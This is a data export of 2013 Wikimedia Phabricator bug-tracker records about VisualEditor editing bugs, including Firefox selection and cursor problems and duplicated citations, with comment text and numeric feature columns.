219273,VisualEditor: Can't delete-merge two paragraphs together if the first one ends with an inline-alien,This seems to be not an issue anymore - since I rewrote handleDelete method.,,,1372369220,,PHID-USER-s7sn3zjthnxvep34c5ho,True,,,PHID-TASK-lyjnjxdzskobjhrp4tgf,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,13.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,13.0,7.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.2,1.0,This seems to be not an issue anymore - since I rewrote handleDelete method.
50335,VisualEditor: Re-factor key detection to be more robust and not occasionally break/pawn in Firefox,"Inez has some ideas about how to do this, so marking to him for now. Would be nice to document here /home/ we want to do this so someone can pick it up at some point. :-)

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1368215940,1371180920.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-6w7ima76rbpczpaozizw,task_description,resolved,True,c1,1,True,False,True,-8,,3.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,16.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,3.0,0.0,7.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,16.0,3.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,3.5344827586206895,0.7068965517241379,"Inez has some ideas about how to do this, so marking to him for now. Would be nice to document here /home/ we want to do this so someone can pick it up at some point. :-)

--------------------------
**Version**: unspecified
**Severity**: major"
217563,VisualEditor: Re-factor key detection to be more robust and not occasionally break/pawn in Firefox,Now merged and will go out with wmf8 from Thursday 20 June.,,,1371180920,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-6w7ima76rbpczpaozizw,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,23.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6923076923076925,1.0,Now merged and will go out with wmf8 from Thursday 20 June.
217561,VisualEditor: Re-factor key detection to be more robust and not occasionally break/pawn in Firefox,https://gerrit.wikimedia.org/r/68296 (Gerrit Change Ie00becf1162f145134f006b0b4514ba874de9c43) | change APPROVED and MERGED [by jenkins-bot],,,1371180886,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-6w7ima76rbpczpaozizw,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,35.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,35.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.117647058823529,1.0,GERRIT_URL (Gerrit Change Ie00becf1162f145134f006b0b4514ba874de9c43) | change APPROVED and MERGED [by jenkins-bot]
217558,VisualEditor: Re-factor key detection to be more robust and not occasionally break/pawn in Firefox,Related URL: https://gerrit.wikimedia.org/r/68296 (Gerrit Change Ie00becf1162f145134f006b0b4514ba874de9c43),,,1371074644,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-6w7ima76rbpczpaozizw,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ie00becf1162f145134f006b0b4514ba874de9c43)
50289,VisualEditor: Keyboard up/down selection sometimes (but not always) selects two lines rather than one in Firefox,"Go to http://en.wikipedia.org/wiki/Content_Management_Interoperability_Services
Put the cursor somewhere in the text.
Type ""Enter"" 2 times.
Type ""Up"".
Type a
Type Enter
Type b
Type Up
Type Left
Press Shift and hold it
Type Down

Expected: selection of 1 line
Actually: selection of 2 lines

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1368090660,1372465847.0,PHID-USER-qmcrs2npimuywblubznv,False,,False,PHID-TASK-xwv2yy4yt35rtaqt27uj,task_description,resolved,True,c1,1,False,False,True,-8,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,28.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,4.0,0.0,1.0,6.0,15.0,0.0,5.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.182926829268293,0.5,"Go to URL
Put the cursor somewhere in the text.
Type ""Enter"" 2 times.
Type ""Up"".
Type a
Type Enter
Type b
Type Up
Type Left
Press Shift and hold it
Type Down

Expected: selection of 1 line
Actually: selection of 2 lines

--------------------------
**Version**: unspecified
**Severity**: normal"
214555,VisualEditor: Keyboard up/down selection sometimes (but not always) selects two lines rather than one in Firefox,Fixed in the above.,,,1372465847,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xwv2yy4yt35rtaqt27uj,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,1.0,Fixed in the above.
214547,VisualEditor: Keyboard up/down selection sometimes (but not always) selects two lines rather than one in Firefox,"Change 71143 merged by jenkins-bot:
Firefox misplaces cursor when moving between lines

https://gerrit.wikimedia.org/r/71143",,,1372465519,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xwv2yy4yt35rtaqt27uj,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,4.888888888888889,1.0,"Change 71143 merged by jenkins-bot:
Firefox misplaces cursor when moving between lines

GERRIT_URL"
214541,VisualEditor: Keyboard up/down selection sometimes (but not always) selects two lines rather than one in Firefox,"Change 71143 had a related patch set uploaded by Christian:
Firefox misplaces cursor when moving between lines

https://gerrit.wikimedia.org/r/71143",,,1372459066,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-xwv2yy4yt35rtaqt27uj,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,19.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,5.095238095238095,1.0,"Change 71143 had a related patch set uploaded by Christian:
Firefox misplaces cursor when moving between lines

GERRIT_URL"
214536,VisualEditor: Keyboard up/down selection sometimes (but not always) selects two lines rather than one in Firefox,Can confirm in Firefox (and not in Chrome); it sometimes occurs upwards as well as downwards.,,,1368130754,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-xwv2yy4yt35rtaqt27uj,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,15.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9,0.9,Can confirm in Firefox (and not in Chrome); it sometimes occurs upwards as well as downwards.
50288,VisualEditor: Tab in a slug in Firefox causes a pawn character to be inserted,"Go to http://en.wikipedia.org/wiki/Content_Management_Interoperability_Services
Put the cursor somewhere in the text.
Type ""Enter"" 2 times.
Type ""Up"".
Type ""Tab""

Wild pawn appears.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1368090300,1369093388.0,PHID-USER-qmcrs2npimuywblubznv,False,,False,PHID-TASK-7v5fwi2od2mzskuipoyb,task_description,resolved,True,c1,1,False,False,True,-8,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,4.0,7.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.111111111111111,0.5370370370370371,"Go to URL
Put the cursor somewhere in the text.
Type ""Enter"" 2 times.
Type ""Up"".
Type ""Tab""

Wild pawn appears.

--------------------------
**Version**: unspecified
**Severity**: normal"
214502,VisualEditor: Tab in a slug in Firefox causes a pawn character to be inserted,"This is a duplicate of bug 48022 which was fixed for wmf4 (so should now work beautifully on enwiki). Sorry for the delayed response.

*** This bug has been marked as a duplicate of bug 48022 ***",,,1369093388,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7v5fwi2od2mzskuipoyb,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,3.4782608695652173,0.6956521739130435,"This is a duplicate of bug 48022 which was fixed for wmf4 (so should now work beautifully on enwiki). Sorry for the delayed response.

*** This bug has been marked as a duplicate of bug 48022 ***"
50227,VisualEditor: Dirty diffs causing some citations to be duplicated,"Examining with user what browser/etc. to investigate.

--------------------------
**Version**: unspecified
**Severity**: major
**URL**: http://en.wikipedia.org/w/index.php?title=Indo-Pakistani_War_of_1965&diff=prev&oldid=552704403",High,80.0,1367950620,1368803220.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-vqvckkamqnznu7z5ud6j,task_description,resolved,True,c1,1,True,False,True,-8,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,5.0,3.5135135135135136,0.5405405405405406,"Examining with user what browser/etc. to investigate.

--------------------------
**Version**: unspecified
**Severity**: major
**URL**: URL"
211114,VisualEditor: Dirty diffs causing some citations to be duplicated,"On review, this is already fixed in master and will be deployed (as part of wmf4) to the English Wikipedia on 20 May.",,,1368803220,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vqvckkamqnznu7z5ud6j,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,15.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,22.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5185185185185186,1.0,"On review, this is already fixed in master and will be deployed (as part of wmf4) to the English Wikipedia on 20 May."
211110,VisualEditor: Dirty diffs causing some citations to be duplicated,"(In reply to comment #4)
> To me it looks like the VE is dropping a link (with template encapsulation
> info) near '165 Pakistan tanks' when editing
> http://en.wikipedia.org/w/index.php?title=Indo-
> Pakistani_War_of_1965&oldid=551447483.
> So it looks like a VE bug to me. Can you verify?
That bug is fixed in the most recent VE release, which is live on mw.org but hasn't hit enwiki yet. Compare https://en.wikipedia.org/wiki/User:Catrope/India-Pakistan and https://www.mediawiki.org/wiki/User:Catrope/India-Pakistan .",,,1368773561,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-vqvckkamqnznu7z5ud6j,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,2.0,2.0,4.0,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,13.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,23.0,0.0,4.0,6.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.148936170212766,0.7446808510638298,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
That bug is fixed in the most recent VE release, which is live on mw.org but hasn't hit enwiki yet. Compare URL and URL ."
211107,VisualEditor: Dirty diffs causing some citations to be duplicated,To me it looks like the VE is dropping a link (with template encapsulation info) near '165 Pakistan tanks' when editing http://en.wikipedia.org/w/index.php?title=Indo-Pakistani_War_of_1965&oldid=551447483. So it looks like a VE bug to me. Can you verify?,,,1368724692,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-vqvckkamqnznu7z5ud6j,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,2.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,8.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,18.0,5.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,12.0,18.0,5.0,2.0,5.0,0.0,12.0,0.0,2.0,5.0,5.0,5.0,0.0,0.0,0.0,3.475,0.825,To me it looks like the VE is dropping a link (with template encapsulation info) near '165 Pakistan tanks' when editing URL So it looks like a VE bug to me. Can you verify?
211103,VisualEditor: Dirty diffs causing some citations to be duplicated,Can you provide us with a test case and verify that the DOM change looks sane?,,,1368720633,,PHID-USER-hbtlbu4zftxnz4i6f7yf,True,,,PHID-TASK-vqvckkamqnznu7z5ud6j,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,6.0,6.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,12.0,6.0,6.0,0.0,0.0,12.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,3.7058823529411766,1.0,Can you provide us with a test case and verify that the DOM change looks sane?
211096,VisualEditor: Dirty diffs causing some citations to be duplicated,"Gabriel - As far as I can tell, this bug is coming from Parsoid rather than VisualEditor - can you confirm? I can replicate in VE and Parsoid master locally.",,,1368720428,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-vqvckkamqnznu7z5ud6j,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,9.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,24.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,12.0,15.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.878787878787879,0.8484848484848485,"Gabriel - As far as I can tell, this bug is coming from Parsoid rather than VisualEditor - can you confirm? I can replicate in VE and Parsoid master locally."
211090,VisualEditor: Dirty diffs causing some citations to be duplicated,"There was a Parsoid bug to this effect earlier, maybe it came back?",,,1367950671,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-vqvckkamqnznu7z5ud6j,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,20.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,13.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,7.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,3.6666666666666665,1.0,"There was a Parsoid bug to this effect earlier, maybe it came back?"
50171,VisualEditor: Typing at the end of linked causes DM and CE to get out of sync,"

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1367866920,1383768080.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-zzjrcgydauwz7h5g6ufd,task_description,resolved,True,c1,1,True,False,False,-8,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,"

--------------------------
**Version**: unspecified
**Severity**: normal"
233121,VisualEditor: Typing at the end of linked causes DM and CE to get out of sync,Trevor's commit has been merged; assigning to Inez for the IE-specific fixes to come.,,,1367886453,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-zzjrcgydauwz7h5g6ufd,task_subcomment,,True,c1,1,True,,,-8,,0.0,0.0,0.0,5.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.789473684210526,0.9473684210526315,Trevor's commit has been merged; assigning to Inez for the IE-specific fixes to come.
233114,VisualEditor: Typing at the end of linked causes DM and CE to get out of sync,Related URL: https://gerrit.wikimedia.org/r/62481 (Gerrit Change I5f279b06b098960be7bd4ad3f5e6f74b67e31d1a),,,1367870942,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-zzjrcgydauwz7h5g6ufd,task_subcomment,,True,c1,1,False,,,-8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I5f279b06b098960be7bd4ad3f5e6f74b67e31d1a)
233108,VisualEditor: Typing at the end of linked causes DM and CE to get out of sync,"This doesn't happen in IE.

1. Place the cursor at the end of a link.
2. Type some text
3. See that the text doesn't appear to be linked, but the link inspector option is available

Short term solution as decided by Trevor, Inez and James: Make links not auto-extend in the model, and fix IE so it doesn't auto-extend in the view (to make it work like other browsers).",,,1367867552,,PHID-USER-mpfqwllylfkzpcgkdkvc,True,,,PHID-TASK-zzjrcgydauwz7h5g6ufd,task_subcomment,,True,c1,1,False,,,-8,,1.0,0.0,0.0,1.0,4.0,3.0,1.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,4.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,17.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,12.0,2.0,3.0,10.0,0.0,0.0,0.0,0.0,11.0,0.0,1.0,0.0,2.0,13.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,3.2580645161290325,0.6881720430107527,"This doesn't happen in IE.

1. Place the cursor at the end of a link.
2. Type some text
3. See that the text doesn't appear to be linked, but the link inspector option is available

Short term solution as decided by Trevor, Inez and James: Make links not auto-extend in the model, and fix IE so it doesn't auto-extend in the view (to make it work like other browsers)."
50166,VisualEditor: Unexpected non-pawn characters appear after CTRL-B and CTRL-I,"unexpected untyped characters

Upon loading page in VE: 

Click CTRL-B and type some characters; 
